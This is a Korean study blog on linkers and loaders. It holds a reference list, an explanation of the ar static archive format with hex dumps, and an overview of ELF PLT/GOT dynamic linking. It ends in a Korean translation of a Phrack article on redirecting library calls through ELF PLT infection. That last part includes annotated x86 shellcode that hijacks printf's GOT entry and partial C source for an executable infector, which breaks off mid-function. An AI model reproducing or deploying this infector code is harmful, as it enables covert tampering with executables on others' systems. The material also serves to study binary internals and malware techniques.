참고자료

Linker & Loader 2009. 11. 8. 15:10
1.The ELF Object File Format by Dissection
http://www.linuxjournal.com/article/1060

2. Standards and specs: An unsung hero: The hardworking ELF
http://www.ibm.com/developerworks/power/library/pa-spec12/index.html
(여기에 연결 되어있는 reference 들도 유용함)

3.리눅스 동적 라이브러리 분석
http://www.ibm.com/developerworks/kr/library/l-dynamic-libraries/index.html#dynamicloading

4.The ELF Object File Format: Introduction
http://www.linuxjournal.com/article/1059


5.Resolving ELF Relocation Name / Symbols
http://em386.blogspot.com/2006/10/resolving-elf-relocation-name-symbols.html


6. plt 와 got
http://cider22c.egloos.com/532877

7.프로세스의 메모리에 대하여..
http://kldp.org/node/41661

8. 리눅스 문제분석과 해결.
 
9. plt & got

http://linux-virus.springnote.com/pages/1987758

WRITTEN BY
RootFriend
개인적으로... 나쁜 기억력에 도움되라고 만들게되었습니다.

,
ar은 정적 라이브러리를 만드는 데 사용하는 도구이다.

사실 ar은 archive 파일을 만드는 도구이며
반드시 라이브러리를 만들 때만 사용할 수 있는 것은 아니다.
일반적인 파일들을 묶어 archive로 만들 때도 물론 사용할 수 있다.

물론 이런 경우 대부분은 tar를 사용하겠지만
tar와 ar은 이름도 한 끝 차이(?!)인 만큼
기본적인 기능은 거의 비슷하다.

다음과 같은 텍스트 파일이 있을 때 (각각의 크기는 12 바이트이다.)

a.txt:
content of a

b.txt:
content of b

이를 ar을 이용하여 다음과 같이 c.a 라는 파일로 묶을 수 있다.

$ ar r c.a a.txt b.txt

c.a 파일을 살펴보면 다음과 같이 구성됨을 볼 수 있다.
(참고로 1000은 지금 사용 중인 계정의 uid와 gid이다)

$ xxd c.a
0000000: 213c 6172 6368 3e0a 612e 7478 742f 2020  !<arch>.a.txt/ 
0000010: 2020 2020 2020 2020 3132 3437 3939 3138          12479918
0000020: 3831 2020 3130 3030 2020 3130 3030 2020  81  1000  1000 
0000030: 3130 3036 3434 2020 3132 2020 2020 2020  100644  12     
0000040: 2020 600a 636f 6e74 656e 7420 6f66 2061    `.content of a
0000050: 622e 7478 742f 2020 2020 2020 2020 2020  b.txt/         
0000060: 3132 3437 3939 3138 3938 2020 3130 3030  1247991898  1000
0000070: 2020 3130 3030 2020 3130 3036 3434 2020    1000  100644 
0000080: 3132 2020 2020 2020 2020 600a 636f 6e74  12        `.cont
0000090: 656e 7420 6f66 2062                      ent of b

ar은 metadata를 ASCII 문자를 이용하여 저장하므로 한 눈에 파일의 구조가 들어온다.
먼저 이 파일이 ar로 만들어 졌음을 나타내는 magic number ("!<arch>\n") 가 나오고
그리고 파일 이름 (/로 끝난다), 생성 시간 (timestamp), uid, gid, mode, size 정보가 차례로 나온다.
마지막으로 metadata의 마지막을 알리는 magic number ("`\n")가 나온 후에
실제 파일 데이터가 나온다. 이 후는 각 파일마다 반복된다.

이 정보는 binutils 소스의 include/aout/ar.h 에 다음과 같이 정의되어 있다.
(참고로 \012는 8진수 이므로 \xA, 10, '\n'과 동일함)

/* Note that the usual '\n' in magic strings may translate to different
   characters, as allowed by ANSI.  '\012' has a fixed value, and remains
   compatible with existing BSDish archives. */

#define ARMAG  "!<arch>\012"    /* For COFF and a.out archives.  */
#define ARMAGB "!<bout>\012"    /* For b.out archives.  */
#define ARMAGT "!<thin>\012"    /* For thin archives.  */
#define SARMAG 8
#define ARFMAG "`\012"

...

struct ar_hdr
{
  char ar_name[16];        /* Name of this member.  */
  char ar_date[12];        /* File mtime.  */
  char ar_uid[6];        /* Owner uid; printed as decimal.  */
  char ar_gid[6];        /* Owner gid; printed as decimal.  */
  char ar_mode[8];        /* File mode, printed as octal.   */
  char ar_size[10];        /* File size, printed as decimal.  */
  char ar_fmag[2];        /* Should contain ARFMAG.  */
};

따라서 ar은 기본적으로 a.out 형식을 사용한다는 것을 알 수 있다.
(보면 알 수 있듯이 파일 이름의 길이가 16바이트로 고정되어 있으므로
이보다 긴 이름의 파일이 사용되면 다른 형식을 이용하는 것 같다.)

object 파일(.o)들을 라이브러리로 만들 때도 이와 동일한 형식으로 저장된다.
(하지만 우분투 9.04에 기본으로 설치되는 binutils (2.19.1-0ubuntu3)의 경우
ar r 명령 만을 실행해도 기본적으로 s 옵션을 추가한 것처럼 symbol index를 생성하였다.
명시적으로 (대문자) S 옵션을 주어 실행하면 index 생성을 금지할 수 있으니
이를 이용하여 텍스트 파일의 경우와 동일한 형태로 생성되는지 확인할 수 있다.)

정적 라이브러리의 경우에는 단순히 object 파일을 합치는 것 이외에도
위에서 언급한 symbol index를 생성하는 작업이 필요하다.
(이는 라이브러리 내에 정의된 심볼들을 빨리 찾아서 링크 속도를 높이기 위한 목적이다.)

이를 위해서는 ar 실행 시 s 옵션을 주거나 ranlib 프로그램을 실행하면 되는데
사실 ar과 ranlib은 동일한 소스에서 flag 하나만 다르게 설정하여 컴파일 하는
거의 동일한 프로그램이니 ar 만을 살펴보기로 하겠다.
(또한 위에서 언급한대로 ar r 만 실행해도 ar rs를 실행한 것과 동일한 결과가 나왔다.)

symbol index가 어떻게 구성되는지 알아보기 위해
다음과 같은 간단한 예제 프로그램을 만들어 보자.
(test1에서는 d1과 f1이라는 심볼이 만들어지고, test2에서는 f2가 만들어 질 것이다.)

test1.c:
int d1;
void f1 (void) { }

test2.c:
void f2 (void) { }

이를 컴파일 한 후 다음과 같이 libartest.a 라는 라이브러리로 만든다.

$ gcc -c test1.c
$ gcc -c test2.c
$ ar rs libartest.a test1.o test2.o

libartest.a 파일의 구조를 들여다보자.

$ xxd -l160 libartest.a
0000000: 213c 6172 6368 3e0a 2f20 2020 2020 2020  !<arch>./      
0000010: 2020 2020 2020 2020 3132 3437 3939 3432          12479942
0000020: 3534 2020 3020 2020 2020 3020 2020 2020  54  0     0    
0000030: 3020 2020 2020 2020 3236 2020 2020 2020  0       26     
0000040: 2020 600a 0000 0003 0000 005e 0000 005e    `........^...^
0000050: 0000 034a 6631 0064 3100 6632 0000 7465  ...Jf1.d1.f2..te
0000060: 7374 312e 6f2f 2020 2020 2020 2020 3132  st1.o/        12
0000070: 3437 3834 3936 3739 2020 3130 3030 2020  47849679  1000 
0000080: 3130 3030 2020 3130 3036 3434 2020 3638  1000  100644  68
0000090: 3720 2020 2020 2020 600a 7f45 4c46 0101  7       `..ELF..

앞의 magic number 부분은 (당연히) 동일하다.
대신 test1.o 파일이 0x5e 부분에서 시작하며 그 앞에 새로운 파일(?)이 추가되었음을 볼 수 있다.
(참고로 ar에서는 archive 내에 포함된 파일들을 멤버라고 부른다)
test1.o 앞에 추가된 멤버도 동일한 형식으로 구성되므로 위의 헤더 형식에 따라 살펴보면
  • ar_name : / (즉, 이름이 없다)
  • ar_date : 1247994254 (= 2009-07-19 18:04:14)
  • ar_uid : 0
  • ar_gid : 0
  • ar_mode : 0
  • ar_size : 26
  • ar_fmag : ARFMAG (= 0x600a)
다른 건 별 의미가 없고 size 정보에만 관심을 가지면 된다.
헤더 이후에 실제 데이터가 시작되는 위치가 0x44이니
여기에 26(= 0x1a)을 더하면 0x5e가 된다. (아까 살펴본 test1.o 의 시작 위치와 동일하다!)

0x44 부터의 26 바이트를 좀 더 자세히 살펴보자.
0000 0003 0000 005e 0000 005e 0000 034a 6631 0064 3100 6632 0000

우선 3과 5e 라는 정보가 눈에 띈다.
(이 정보는 big endian 32bit 정수형으로 저장되는 듯 하다.)

우선 3은 라이브러리 내의 심볼 개수이다.
위에서 살펴보았듯이 test1.o에는 2개, test2.o에는 1개의 심볼이 존재한다.

그 다음에는 3개의(!) 32bit 정수(big endian)가 나오는데
각각 0x5e, 0x5e, 0x34a에 해당한다. (뭔가 느낌이 오지 않는가!?)
0x5e는 test1.o 파일 정보가 시작되는 위치이다.
그렇다면 0x34a는 test2.o 파일 정보가 시작되는 위치라고 볼 수 있을 것이다.

다음과 같이 확인할 수 있다. (편의상 헤더 부분 만 보기로 한다.)

$ xxd -s0x34a -l60 libartest.a
000034a: 7465 7374 322e 6f2f 2020 2020 2020 2020  test2.o/       
000035a: 3132 3437 3834 3737 3035 2020 3130 3030  1247847705  1000
000036a: 2020 3130 3030 2020 3130 3036 3434 2020    1000  100644 
000037a: 3636 3820 2020 2020 2020 600a            668       `.

역시나 생각대로다.

그 이후에는 해당 심볼의 이름이 NULL-terminated string 형태로 나온다.
마지막 임을 나타내기 위해 NULL 문자가 추가적으로 사용된 것 같다.
"f1" (0x66, 0x31, 0x00), "d1" (0x64, 0x31, 0x00), "f2" (0x66, 0x32, 0x00), \0

이제 프로그램 빌드 과정에서 libartest.a가 링크된다면
링커는 필요한 심볼을 먼저 index에서 찾은 후 (string match)
발견되면 해당 위치에 있는 offset 값을 통해 멤버의 시작 위치(헤더)를 찾고
해당 object 파일 만을 추출하여 프로그램에 링크시킬 것이라고 짐작할 수 있다. (별도의 dependency가 없는 경우)

출처 : http://studyfoss.egloos.com/5049029

WRITTEN BY
RootFriend
개인적으로... 나쁜 기억력에 도움되라고 만들게되었습니다.

,

현재 Unix 계열의 운영체제에서 거의 표준으로 정착된 ELF 포맷을 사용하는 시스템에서 공유 라이브러리를 처리하는 방법에 대해 설명한다.

 

ELF 파일은 section이나 segment로 표현되는 파일로써 실행 파일이나 라이브러리 모두에 공통적으로 적용이 되는 포맷이다. 실행 파일과 라이브러리는 파일이 포함하는 section이나 segment의 종류가 다를 뿐이다.

ELF 공유 라이브러리는 메모리의 어떤 주소에도 로딩이 될 수 있도록 만들어지는데 프로그램 코드는 반드시 PIC(Position Independent Code)로 만들어져야 한다. PIC 코드는 코드 내에서의 심볼의 참조가 특정 레지스터(베이스 포인터 : 386에서는 EBX)에 상대적이도록 만들어지는 코드이다. GNU 컴파일러의 경우 pic 옵션을 이용해 컴파일하면 이러한 코드가 나오게 된다.

공유 라이브러리는 이와 함께 심볼을 재배치하기 위해 GOT(Global Offset Table)를 사용한다. 이 테이블은 프로그램에서 참조하는 라이브러리 내의 모든 정적(static) 심볼들에 대한 포인터를 담고 있다. 이 테이블은 동적 링커인 ld.so에 의해 재배치되어 실제 주소가 채워지게 된다. 일반적으로 이 테이블의 크기는 그리 크지 않은데 350K 크기의 코드에 대해서는 약 180개 정도의 GOT 엔트리가 존재하게 된다. 

 

다음 그림은 프로그램에서 함수를 호출했을 때, 어떤 절차를 따라 실제 라이브러리의 함수가 호출되는 지를 그림으로 표현한 것이다.

프로그램에서 call을 하면 먼저 PLT(Procedure Linkage Table)를 거쳐 실제 참고하고자 하는 심볼을 담고 있는 GOT를 통해 실제 라이브러리의 해당 함수로 제어가 이동하게 된다.

 

ELF 동적 라이브러리는 동적 링커가 필요로 하는 모든 정보를 담고 있어야 하는데 그 내용은 .hash, .dynsym, dynstr, .plt, .got, .dynamic 섹션들이다. 각각에 대해서 간략하게 설명하면 다음과 같다:

.dynsym

동적 심볼 테이블로서 파일이 import/export하는 모든 심볼을 담고 있다.

 

.dynstr

.dynsym에 의해 참조되는 것으로서 심볼의 실제 이름을 담고 있다.

 

.hash

동적 링커가 심볼 lookup을 빨리 할 수 있도록 만들어 놓은 해시 테이블이다.

 

.dynamic

동적 링커가 필요로 하는 모든 정보를 담고 있는 것으로써 .header를 통해 바로 찾을 수 있다.

동적 링커는 이 섹션을 통해 동적 링킹을 위한 다른 섹션들의 정보를 얻을 수 있댜.

이 테이블의 엔트리들은 태그와 포인터의 쌍으로 표현되며 재배치 작업을 위해 다음과 같은 정보들을 담고 있다.

  • NEEDED : 필요한 라이브러리의 STRTAB의 인덱스를 담고 있음
  • SONAME : 이 공유 라이브러리의 이름으로 역시 인덱스를 담고 있음
  • SYMTAB, STRTAB, HASH, SYMENT, STRSZ : 심볼 테이블 포인터, 연관된 스트링과 해시 테이블, 심볼 테이블 엔트리의 크기, 스트링 테이블의 크기
  • PLTGOT : GOT나 PLT를 가리키는 포인터
  • REL, RELSZ, and RELENT : 재배치 포인터, 개수, 재배치 엔트리의 크기
  • RELA, RELASZ, and RELAENT : 앞의 것과 동일하지만 addends를 포함하는 것
  • JMPREL, PLTRELSZ, and PLTREL : PLT에 의해 참조되는 데이터를 위한 재배치 정보
  • INIT, FINI : 라이브러리의 초기화 루틴과 종료 루틴의 포인터

아래 그림은 이들 섹션들의 위치와 어떻게 연관이 되는 지를 나타낸 것이다.

그림에서 위의 섹션들은 모두 read-only 영역이고 아래 부분은 모두 쓰기 가능한 데이터 영역이다.

'Linker & Loader' 카테고리의 다른 글

참고자료  (0) 2009.11.08
정적 라이브러리의 구조 - ar, ranlib  (0) 2009.11.05
SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION  (0) 2009.11.04
링크(Linkers) 와 로더(Loaders)  (0) 2009.11.04

WRITTEN BY
RootFriend
개인적으로... 나쁜 기억력에 도움되라고 만들게되었습니다.

,
- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38
05.01.2000
0x07[0x10]

|----------- SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION
-----------|
|-----------------------------------------------------------------------------|
|--------------------- Silvio Cesare <silvio@big.net.au>
---------------------|



----| 도입

이 문건의 ELF감염(infection)을 사용하여 공유라이브러리 호출을
방향재지정(redirection)
하는 방법에 대하여 설명한다. ELF감염은 실행파일의 프로시저링크테이블(Procedure
Linkage Table, 이하 PLT)을 방향재지정하여 방향재지정이 감염된 실행파일 외부에
상주하는 것이 가능하게 한다. 이 방법은 환경변수의 변경을 하지않으므로
LD_PRELOAD
방향재지정 테크닉보다 유리하고 숨겨진채로 남아있을 가능성이 더 높다. 구현은
x86/Linux에 대하여 제공한다. 관심있는 분은 다음 URL을 방문해 보기 바란다.

http://virus.beergrave.net (UNIX바이러스 메일링리스트)
http://www.big.net.au/~silvio (내 홈페이지)



----| 프로시저링크테이블(PLT)

ELF명세에 따르면...(읽을 필요는 없지만 뒤에 나오는 것보다 자세한 정보가 있다.)

" 프로시저 링크 테이블

전역오프셋테이블(Global Offset Table)이 위치독립적인 주소계산을 절대위치로
방향재지정하는 것과 흡사하게, PLT는 위치독립적인 함수호출을 절대위치로
방향재지정한다. 링크에디터(Link Editor)는 실행전이(Execution Transfer, 함수
호출과 같은 것들)를 하나의 실행파일이나 공유객체에서 다른 것으로 바꾸지
못한다. 따라서 링크에디터는 프로그램이 제어권을 PLT에 있는 항목으로 넘기
도록 한다. System V 구조에서 PLT는 공유문맥에 존재하지만 내부전역오프셋
테이블(Private Global Offset Table)에 있는 주소를 사용한다. 동적링커(Dynamic
Linker)는 목표의 절대주소를 결정하고 그에따라 전역오프셋테이블의 메모리
이미지를 수정한다. 이렇게 하여 동적링커는 프로그램 문맥의 위치독립성과
공유가능성을 건드리지않고 항목들을 방향재지정할 수 있다. 실행파일과 공유
객체파일은 별도의 PLT들을 가지고 있다.

+ 그림 2-12: 절대 PLT {*}

.PLT0:pushl got_plus_4
jmp *got_plus_8
nop; nop
nop; nop
.PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2_in_GOT
pushl $offset
jmp .PLT0@PC
...

+ 그림 2-13: 위치독립적인 PLT

.PLT0:pushl 4(%ebx)
jmp *8(%ebx)
nop; nop
nop; nop
.PLT1:jmp *name1@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
...

NOTE: 그림에서와같이 PLT명령어는 절대코드와 위치독립적인 코드에 대하여 다른
오퍼런드(Operand, 피연산자)주소지정 모드를 사용한다. 그럼에도 불구하고 동적
링커에 대한 그들의 인터페이스는 동일하다.

아래의 단계를 따라서 동적링커와 프로그램은 PLT와 전역오프셋테이블을 통하여
심볼참조(Symbolic Reference)를 해결하기 위해 ''협동한다.''

1. 프로그램의 메모리이미지를 처음에 생성할 때, 동적링커는 전역오프셋테이블의
두번째와 세번째 항목을 특별한 값으로 설정한다. 아래의 단계들에서 이들값에
대하여 더 설명한다.
2. PLT가 위치독립적이라면 전역오프셋테이블의 주소는 %ebx에 있어야 한다.
각각의 프로세스 이미지에 있는 공유객체파일은 자체적인 PLT를 가지고 있고,
제어권은 동일한 객체파일내에서 PLT의 한 항목으로 넘겨진다. 따라서 호출함수는
PLT항목을 호출하기전에 전역오프셋테이블의 베이스레지스터(Base Register)를
설정해야한다.
3. 그림에서와 같이, 제어권을 .PLT1 레이블로 옮기는 name1을 프로그램이
호출한다고
가정하자.
4. 첫번째 명령은 name1에 대한 전역오프셋테이블 항목에 있는 주소로 점프한다.
초기에 전역오프셋테이블은 name1의 실제주소가 아니라 이어나오는 pushl명령어의
주소를 가지고 있다.
5. 따라서 프로그램은 재배치오프셋(Relocation Offset)을 스택에 넣는다. 재배치
오프셋은 32비트의 음이아닌 바이트단위 오프셋으로 재배치테이블(Relocation
Table)에서의 오프셋이다. 지정된 재배치항목은 R_386_JMP_SLOT형식이고, 그것의
오프셋은 이전 jmp명령에서 사용된 전역오프셋테이블 항목을 지정한다. 재배치
항목은 심볼테이블(Symbol Table)색인도 가지고 있어서 동적링커에게 어떤 심볼이
참조되는지 알려준다. 이 경우에는 name1이다.
6. 재배치오프셋을 스택에 넣고나서 프로그램은 PLT의 첫번째 항목인 .PLT0으로
점프한다. pushl명령어는 전역오프셋테이블 두번째 항목의 값(got_plus_4 또는
4(%ebx))을 스택에 넣어서, 동적링커에게 식별정보를 준다. 그리고나서
프로그램은 전역오프셋테이블 세번째 항목(got_plus_8 또는 8(%ebx))에 있는
주소로 점프한다. 그러면 제어권이 동적링커에게 넘겨진다.
7. 동적링커가 제어권을 받으면 스택을 풀고 지정된 재배치항목을 살펴보아서
심볼의 값을 찾는다. 그리고 자기의 전역오프셋테이블에 name1의 ''실제''
주소를 저장하고 제어권을 원하는 목표로 넘긴다.
8. 이어서 PLT항목을 실행하면 두번째 또 동적링커를 호출하지 않고 name1으로
직접 넘어간다. 즉, pushl명령어로 ''빠지는'' 대신에 .PLT1에 있는 jmp명령어가
실행되어 name1으로 넘어간다.

LD_BIND_NOW환경변수에 따라 동적링크 형태가 다르다. 그 값이 널(Null)이 아니면,
동적링커는 제어권을 프로그램에 넘기기전에 PLT항목의 값을 구한다. 즉,
동적링커는
프로세스를 초기화하는 중에 R_386_JMP_SLOT형식은 재배치항목들을 처리한다.
값이 널이라면 동적링커는 PLT항목의 값을 늦게 구한다. 테이블항목이 최초로
사용될
때까지 심볼해석과 재배치를 유보한다.

NOTE: 지체바인딩(Lazy Binding)을 하면 일반적으로 전반적인 응용프로그램의
성능은
향상된다. 그 이유는 사용하지않는 심볼을 동적링크하는 오버헤드가 발생하지않기
때문이다. 그렇지만 어떤 응용프로그램에 대하여는 지체바인딩이 바람직하지 않을

있는데 다음의 두가지 경우이다. 첫번째, 공유객체함수를 최초로 호출할때는 나중에
호출하는 것보다 시간이 더오래 걸린다. 왜냐하면 동적링커가 심볼을 해석하기
위해서
호출을 가로채기 때문이다. 일부 응용프로그램은 이러한 예측불가능한 상황을 처리
하지 못한다. 두번째, 오류가 발생하여 동적링커가 심볼을 해석하지 못하면
동적링커는
프로그램을 종료시킨다. 지체바인딩을 하면 이러한 현상이 임의의 시점에서
발생한다.
또 다시 일부 응용프로그램은 이러한 예측불가능한 상황을 처리하지 못한다.
지체바인딩을
사용하지않으면, 응용프로그램이 제어권을 받기전인 프로세스초기화 시점에 오류가
발생하게 된다.
"

좀더 자세히 설명하자면...

공유라이브러리는 컴파일시점에 실행파일에 링크될수 없기 때문에 공유라이브러리
호출은
특별하게 다루어진다. 이것은 실행파일의 실행시점까지 공유라이브러리가 사용이
가능하지
핞을 수도 있기 때문이다. PLT는 이러한 경우를 처리하기 위하여 고안되었다. PLT는
동적
링커를 호출하여 원하는 루틴(Routine)들의 위치를 파악하는 데 필요한 코드를
가지고 있다.

실행파일에서 실제 공유라이브러리루틴을 호출하는 대신에 실행파일은 PLT에 있는
항목을
호출한다. 그리고나서 PLT에 따라서 심볼이 나타내는 것을 해석하고 올바른 작업을
수행한다.

ELF명세에서...

" .PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
"

이것은 중요한 정보다. 이것은 라이브러리호출대신에 호출되는 루틴이다.
name1_in_GOT는
이어지는 pushl명령어를 가리키면서 처음에 시작한다. offset은 재배치(ELF명세
참조)
오프셋을 나타낸다. 이것은 라이브러리호출이 나타내는 심볼에 대한 참조를 가지고
있다. 이것은 또한 동적링커로 점프하는 마지막 jmp명령에서 사용된다. 동적링커는
name1_in_GOT가 해당루틴을 직접 가리키도록 변경하여 동적링크가 두번째도
일어나는
것을 방지한다.

이는 라이브러리 검색(Lookup)에서 PLT의 중요성을 대변한다. name1_in_GOT가 우리
자신의 코드를 가리키도록 변경하여 라이브러리 호출을 대체할 수 있음을 주목하기
바란다. 대체하기전에 GOT의 상태를 저장하면 원래 라이브러리루틴을 호출할 수
있게 되고 따라서 어떤 라이브러리 호출도 방향을 재지정할 수 있다.


----| ELF 감염

방향재지정된 라이브러리호출을 실행파일에 주입하려면 실행파일에 새 코드를 추가
해야한다. ELF감염에 대한 실제 절차는 이전 문건에서 자세하게 다루었으므로
여기에서는 기술하지 않ㄱㅆ다.(http://www.big.net.au/~silvio - UNIX바이러스/
UNIX ELF 바이러스). 완전하게 하기위하여 주입에 데이터감염을 사용하고 약간
버그가 있을 것이고 완전히 안전하지는 않다.


----| PLT 방향재지정

진입부분의 코드 알고리즘은 다음과 같다...

* text세그먼트를 쓰기가능으로 한다.
* PLT(GOT)항목을 저장한다.
* PLT(GOT)항목을 신규 라이브러리호출의 주소로 대체한다.

신규 라이브러리호출에서 알고리즘은 다음과 같다...

* 신규라이브러리호출을 실행한다.
* 원래 PLT(GOT)항목을 복원한다.
* 라이브러리호출을 한다.
* PLT(GOT)항목을 다시 저장한다.(만약 변경되었다면)
* PLT(GOT)항목을 신규라이브러리호출의 주소로 대체한다.

PLT 방향재지정이 어떻게 일어나는지 더 설명하기위해, 가장 단순한 방법은 동일한
코드를 가지고 기술하는 것이다. 이 코드는 실행파일에 주입되어 프로그램의 새로운
진입점이 된다. 방향이 재지정된 라이브러리호출은 printf이고 신규코드는 printf에
나오는 문자열앞에 메시지를 출력한다.

--
됐다. 레지스터를 저장하고 기타등등...

"\x60" /* pusha */

text세그먼트를 rwx로 변경한다. 이것을 해야만 text세그먼트에 있는 PLT를 수정할
수 있다. 정상적인 경우에는 쓰기가 불가능하다.

"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */

기존 라이브러리호출의 PLT(GOT)참조를 저장하고 그것을 진입점코드 바로 뒤에
나오는
신규 라이브러리호출의 주소로 대체한다.

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

레지스터를 복원하고 기타등등...

"\x61" /* popa */

실행파일의 원래 진입점으로 점프하여 되돌아온다.

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */

신규라이브러리호출(printf).

/* newcall: */

출력할 문자열의 주소를 가져온다.

"\xeb\x38" /* jmp msg_jmp */
/* msg_call */
"\x59" /* popl %ecx */

LINUX시스템 호출을 사용하여 문자열을 출력한다.

"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $14,%edx */
"\xcd\x80" /* int $0x80 */

기존 라이브러리 호출을 PLT(GOT)에 복원하여 호추할 수 있게 한다.

"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */

원래 printf 인자를 가져온다.

"\xff\x75\xfc" /* pushl -4(%ebp) */

원래 라이브러리호출을 진행한다.

"\xff\xd0" /* call *%eax */

PLT(GOT)에서 원래 라이브러리호출을 저장한다. 이것은 라이브러리호출 후에 바뀔
수 있기때문에 매번 저장하는 것을 잊지 않도록 한다. 이것은 사실 첫번째 호출이후
에만 바뀌지만 너무 신경쓰지않는다.

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */

PLT(GOT)가 신규라이브러리호출을 다시 가리키도록 한다.

"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

인자를 모두 없앤다.

"\x58" /* popl %eax */

레지스터를 복원하고 기타등등...

"\x61" /* popa */

함수에서 리턴한다.

"\xc3" /* ret */

출력할 문자열의 주소를 가져온다.

/* msg_jmp */
"\xe8\xc4\xff\xff\xff" /* call msg_call */

문자열

"INFECTED Host "


----| 향후 방향

공유라이브러리를 직접 감염시키는 것이 가능하고 이것이 때로는 더 바람직하다.
그 이유는 방향재지정이 모든 실행파일에 대하여 상주하기 때문이다. 또한 프로세스
이미지를 직접 수정하여 숨겨진 버전의 PLT방향재지정도 가능하다. 이렇게 하여
호스트의 실행파일은 수정하지 않은채로 있게 된다. 하지만 이것은 방향재지정이
단하나의 프로세스 주기(Life)동안만 활성화된다는 단점이 있다.


----| 결론

이 문건은 ELF감염기법을 사용하는데 있어서 실행파일의 PLT를 직접 수정하여
실행파일의
공유라이브러리호출을 방향재지정하는 방법에 관하여 기술한다. 이것은
LD_PRELOAD를
사용하는 기존은 기법보다 숨기는데 유리하고 더 많은 가능성을 가지고 있다.



----| CODE

<++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>

#define PAGE_SIZE 4096

static char v[] =
"\x60" /* pusha */

"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

"\x61" /* popa */

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */

/* newcall: */

"\xeb\x37" /* jmp msg_jmp */
/* msg_call */
"\x59" /* popl %ecx */
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $14,%edx */
"\xcd\x80" /* int $0x80 */

"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */
"\xff\x75\xfc" /* pushl -4(%ebp) */
"\xff\xd0" /* call *%eax */
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

"\x58" /* popl %eax */

"\xc3" /* ret */

/* msg_jmp */
"\xe8\xc4\xff\xff\xff" /* call msg_call */

"INFECTED Host "
;

char *get_virus(void)
{
return v;
}

int init_virus(
int plt,
int offset,
int text_start, int data_start,
int data_memsz,
int entry
)
{
int code_start = data_start + data_memsz;
int oldcall = code_start + 72;
int newcall = code_start + 51;

*(int *)&v[7] = text_start;
*(int *)&v[24] = plt;
*(int *)&v[29] = oldcall;
*(int *)&v[35] = plt;
*(int *)&v[39] = newcall;
*(int *)&v[45] = entry;
*(int *)&v[77] = plt;
*(int *)&v[87] = plt;
*(int *)&v[92] = oldcall;
*(int *)&v[98] = plt;
*(int *)&v[102] = newcall;
return 0;
}

int copy_partial(int fd, int od, unsigned int len)
{
char idata[PAGE_SIZE];
unsigned int n = 0;
int r;

while (n + PAGE_SIZE < len) {
if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
perror("read");
return -1;
}

if (write(od, idata, PAGE_SIZE) < 0) {
perror("write");
return -1;
}

n += PAGE_SIZE;
}

r = read(fd, idata, len - n);
if (r < 0) {
perror("read");
return -1;
}

if (write(od, idata, r) < 0) {
perror("write");
return -1;
}

return 0;
}

void do_elf_checks(Elf32_Ehdr *ehdr)
{
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
fprintf(stderr, "File not ELF\n");
exit(1);
}

if (ehdr->e_type != ET_EXEC) {
fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
exit(1);
}

if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
exit(1);
}

if (ehdr->e_version != EV_CURRENT) {
fprintf(stderr, "ELF version not current\n");
exit(1);
}
}

int do_dyn_symtab(
int fd,
Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
const char *sh_function
)
{
Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
char *string;
Elf32_Sym *sym, *symp;
int i;

string = (char *)malloc(strtabhdr->sh_size);
if (string == NULL) {
perror("malloc");
exit(1);
}

if (lseek(
fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
) {
perror("lseek");
exit(1);
}

if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
perror("read");
exit(1);
}

sym = (Elf32_Sym *)malloc(shdrp->sh_size);
if (sym == NULL) {
perror("malloc");
exit(1);
}

if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
perror("lseek");
